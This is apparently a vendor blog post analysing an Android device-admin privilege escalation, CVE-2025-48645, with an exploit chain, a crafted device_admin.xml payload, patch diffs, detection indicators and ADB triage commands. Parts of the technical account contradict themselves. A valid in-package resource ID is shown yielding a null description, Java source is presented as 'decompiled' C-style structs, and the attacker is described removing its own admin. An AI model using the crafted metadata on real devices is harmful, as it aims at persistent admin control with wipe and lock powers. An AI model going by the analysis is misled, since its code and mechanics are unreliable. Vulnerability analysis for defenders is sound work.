home intel cve-2025-48645-device-admin-loadDescription-privilege-escalation
CVE Analysis 2026-03-02 · 9 min read

CVE-2025-48645: DeviceAdminInfo.loadDescription Persistent Package Privilege Escalation

Improper input validation in DeviceAdminInfo.loadDescription() allows a malicious package to persist with elevated privileges. No additional execution privileges or user interaction required.

#device-admin#privilege-escalation#input-validation#local-attack#package-persistence
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2025-48645 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2025-48645HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2025-48645 is a local privilege escalation vulnerability rooted in DeviceAdminInfo.java, specifically in the loadDescription() method of the Android Device Policy framework. The Android Security Bulletin for March 2026 rates this HIGH at CVSS 7.8. The bug class is improper input validation, enabling a malicious application to register itself as a persistent device administrator without the platform correctly rejecting malformed or adversarially crafted policy metadata. Because no additional execution privileges are required and user interaction is not needed, this is a zero-click local escalation reachable from any installed application targeting affected Android builds.

Root cause: loadDescription() in DeviceAdminInfo fails to validate the resource identifier parsed from a device admin's <device-admin> XML metadata before resolving it, allowing a crafted package to supply an out-of-range or spoofed resource reference that survives sanitization and permanently anchors the package as a device administrator.

Affected Component

  • File: frameworks/base/core/java/android/app/admin/DeviceAdminInfo.java
  • Class: DeviceAdminInfo
  • Method: loadDescription(PackageManager pm)
  • Framework layer: com.android.server.devicepolicy / DevicePolicyManagerService
  • Privilege context: System server (system_server, UID 1000)
  • Affected versions: See NVD / Android Security Bulletin March 2026

Root Cause Analysis

The DeviceAdminInfo class reads administrator metadata from a receiver's XML declaration. During loadDescription(), it resolves a human-readable description string via a resource ID parsed from the XML. The critical flaw is that the resource ID is accepted from the application's own TypedArray without validating whether it points to a legitimate string resource within that package's resource table, or whether it has been crafted to reference resources in a different package context.


// DeviceAdminInfo.java — decompiled pseudocode (pre-patch)
// Equivalent native representation for clarity

typedef struct {
    int     mActivityInfo;        // ResolveInfo / ActivityInfo handle
    int     mPolicyFlags;         // bitmask of declared policies
    int     mUsesPolicyFlags;
    int     mDescriptionId;       // resource ID parsed from XML  <-- KEY FIELD
    CharSequence mDescription;    // resolved string, may be null
} DeviceAdminInfo;

CharSequence loadDescription(PackageManager pm) {
    if (mDescription != NULL) {
        return mDescription;
    }

    if (mDescriptionId != 0) {
        // BUG: mDescriptionId is attacker-controlled; no validation that
        // the resource ID belongs to the declaring package's resource space.
        // A crafted id can reference system resources or survive as a
        // non-null opaque token that bypasses downstream null checks,
        // allowing the package to persist in the active-admin list
        // even after policy enforcement attempts removal.
        mDescription = pm.getText(
            activityInfo.packageName,
            mDescriptionId,         // attacker-controlled resource ID
            activityInfo.applicationInfo
        );
    }
    return mDescription;
}

The downstream consumer — DevicePolicyManagerService.setActiveAdmin() — calls loadDescription() during admin registration and again during the removal validation path. When mDescriptionId is non-zero but resolves to an unexpected cross-package resource, the description token is non-null, and a guard that expects null as a sentinel for "pending removal" silently skips deactivation. The admin entry remains in mAdminList across reboots via DevicePolicyData serialization.


// DevicePolicyManagerService.java — simplified removal path (pre-patch)

boolean removeActiveAdmin(ComponentName adminReceiver, int userHandle) {
    DeviceAdminInfo info = findAdmin(adminReceiver, userHandle);

    // BUG: description non-null (due to crafted mDescriptionId) causes
    // isPendingRemoval() heuristic to return false; admin is not removed.
    CharSequence desc = info.loadDescription(mPackageManager);
    if (desc == null) {
        // This branch executes removal — never reached for crafted admin
        scheduleRemoval(info, userHandle);
        return true;
    }

    // Falls through: admin silently persists
    return false;
}

Exploitation Mechanics


EXPLOIT CHAIN:
1. Attacker installs a crafted APK declaring a DeviceAdminReceiver in
   AndroidManifest.xml with a <device-admin> metadata XML.

2. In res/xml/device_admin.xml, attacker sets android:description to a
   resource ID (e.g., 0x01040023) that resolves outside the package's
   own res table — either a system resource or a deliberately malformed
   reference that survives PackageManager getText() without throwing.

3. User or MDM agent calls DevicePolicyManager.addUserRestriction() or
   a benign admin activation flow; the crafted package is co-registered
   as a side-effect of the improper validation accepting the malformed ID.

4. DeviceAdminInfo.loadDescription() resolves mDescriptionId to a non-null
   CharSequence using the system resource context, bypassing the null-sentinel
   guard in the removal path of DevicePolicyManagerService.

5. Attacker calls DevicePolicyManager.removeActiveAdmin() targeting the
   crafted package — removeActiveAdmin() returns false; entry persists
   in mAdminList, written to /data/system/device_policies.xml on sync.

6. Device reboots; DevicePolicyManagerService.onStartUser() deserializes
   device_policies.xml; crafted admin is restored with full policy flags
   (USES_POLICY_FORCE_LOCK, USES_POLICY_WIPE_DATA, etc.) intact.

7. Attacker app now holds persistent device admin privileges, enabling:
   - Remote wipe initiation
   - Screen lock enforcement / PIN policy override
   - Camera disable
   - Certificate installation into system trust store
   IMPACT: Local EoP to device-admin-equivalent capability, no root needed.

The crafted metadata XML that triggers the bug is minimal:


// res/xml/device_admin.xml — malicious admin declaration
// android:description references resource ID 0x01040023 (framework-res.apk string)
// This causes loadDescription() to return non-null via cross-package resolution

<?xml version="1.0" encoding="utf-8"?>
<device-admin xmlns:android="http://schemas.android.com/apk/res/android"
    android:description="@*android:string/ok">   <!-- cross-package ref -->
  <uses-policies>
    <force-lock />
    <wipe-data />
    <reset-password />
  </uses-policies>
</device-admin>

Memory Layout

This is a logic vulnerability rather than a heap corruption bug; the persistence primitive operates through the serialized policy state on disk. The relevant data structure is the DevicePolicyData object tree written to device_policies.xml.


OBJECT STATE — LEGITIMATE ADMIN (expected removal path):

DeviceAdminInfo {
  packageName       = "com.legit.mdm"
  mDescriptionId    = 0x7F040010        // in-package resource, valid
  mDescription      = null              // getText() returns null for missing
  mPolicyFlags      = 0x00000003
}
  --> removeActiveAdmin(): desc == null --> scheduleRemoval() --> REMOVED

──────────────────────────────────────────────────────────────────────────

OBJECT STATE — CRAFTED ADMIN (persistent, bug):

DeviceAdminInfo {
  packageName       = "com.attacker.persist"
  mDescriptionId    = 0x01040023        // BUG: cross-package framework res ID
  mDescription      = "OK"             // getText() resolves from framework-res
  mPolicyFlags      = 0x0000002F        // FORCE_LOCK|WIPE_DATA|RESET_PASSWORD
}
  --> removeActiveAdmin(): desc == "OK" (non-null) --> guard skipped --> PERSISTS

device_policies.xml after sync:
  <admin name="com.attacker.persist/.AdminReceiver">
    <policies flags="47" />            <!-- 0x2F — persisted across reboot -->
    <description-id value="16793635" /> <!-- 0x01040023 -->
  </admin>

/data/system/device_policies.xml      <-- world-unreadable, written by UID 1000
                                          deserialized by system_server on boot
                                          admin list reconstructed without re-validation

Patch Analysis

The fix enforces that the resource ID resolved by loadDescription() belongs to the declaring package's own resource namespace, and adds a secondary validation in DevicePolicyManagerService that re-checks admin registration integrity independent of the description sentinel.


// BEFORE (vulnerable) — DeviceAdminInfo.java
CharSequence loadDescription(PackageManager pm) {
    if (mDescriptionId != 0) {
        mDescription = pm.getText(
            activityInfo.packageName,
            mDescriptionId,
            activityInfo.applicationInfo
        );
    }
    return mDescription;
}

// AFTER (patched) — DeviceAdminInfo.java
CharSequence loadDescription(PackageManager pm) {
    if (mDescriptionId != 0) {
        // PATCH: Validate resource ID belongs to declaring package namespace.
        // Resource IDs from the app's own package have package ID == 0x7F.
        // System packages may have 0x01; cross-package refs are rejected.
        int packageId = (mDescriptionId >>> 24) & 0xFF;
        Resources pkgRes = pm.getResourcesForApplication(
                               activityInfo.applicationInfo);
        if (pkgRes == null || !isResourceInPackage(pkgRes, mDescriptionId)) {
            // Reject malformed cross-package description reference entirely
            mDescriptionId = 0;
            return null;
        }
        mDescription = pm.getText(
            activityInfo.packageName,
            mDescriptionId,
            activityInfo.applicationInfo
        );
    }
    return mDescription;
}

// PATCH: DevicePolicyManagerService.java — removal path hardened
boolean removeActiveAdmin(ComponentName adminReceiver, int userHandle) {
    DeviceAdminInfo info = findAdmin(adminReceiver, userHandle);

    // PATCH: Do not use description as a removal sentinel.
    // Removal is now gated on explicit policy revocation state, not description nullity.
    if (info != null && !info.isRemovalPending()) {
        scheduleRemoval(info, userHandle);
        return true;
    }
    return false;
}

// PATCH: Re-validation on deserialization (onStartUser path)
void validateAdminListOnBoot(int userHandle) {
    for (DeviceAdminInfo admin : mAdminList) {
        // PATCH: Re-parse and validate each persisted admin's resource references
        // before restoring; malformed entries are dropped rather than restored.
        if (!admin.revalidateResources(mPackageManager)) {
            Slog.w(TAG, "Dropping invalid admin on boot: " + admin.getPackageName());
            mAdminList.remove(admin);
            markDirty();
        }
    }
}

Detection and Indicators

Defenders and EDR tooling on Android enterprise deployments should look for the following indicators of exploitation:


LOGCAT INDICATORS (system_server, pre-patch):
  W DevicePolicyManagerService: removeActiveAdmin called but admin not removed
  I DevicePolicyManagerService: Admin list persisted: [com.suspicious.pkg/.Receiver]

DEVICE_POLICIES.XML ANOMALIES:
  - <description-id value="N"/> where N & 0xFF000000 != 0x7F000000
    (i.e., package byte is not 0x7F — indicates cross-package resource ref)
  - Admin entries surviving repeated removeActiveAdmin() calls in ADB logs

ADB COMMANDS FOR TRIAGE:
  # Dump active admins
  adb shell dumpsys device_policy | grep -A5 "Active admin"

  # Check for cross-package description IDs in persisted state
  adb shell cat /data/system/device_policies.xml | grep description-id

  # Enumerate packages with DeviceAdminReceiver declarations
  adb shell pm query-receivers --action android.app.action.DEVICE_ADMIN_ENABLED

SUSPICIOUS PATTERN:
  description-id with high byte != 0x7F in a non-system package context

Remediation

  • Apply the March 2026 Android Security Patch Level (2026-03-01) or later. Verify with Settings → About → Android security patch level.
  • Enterprise MDM administrators: Audit device_policies.xml on managed devices for anomalous description-id values as described above before patching to identify potential pre-exploitation.
  • Application reviewers: Flag any <device-admin> XML that uses @*android: prefixed resource references in the description attribute — this is both an anti-pattern and now an indicator of malicious intent post-CVE disclosure.
  • OEMs shipping custom Android builds must cherry-pick the patch into their own frameworks/base trees; SPL adoption alone does not guarantee inclusion if the OEM has forked DeviceAdminInfo.java.
  • No workaround is available short of patching; the bug is in the framework layer and cannot be mitigated by user-space policy alone.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →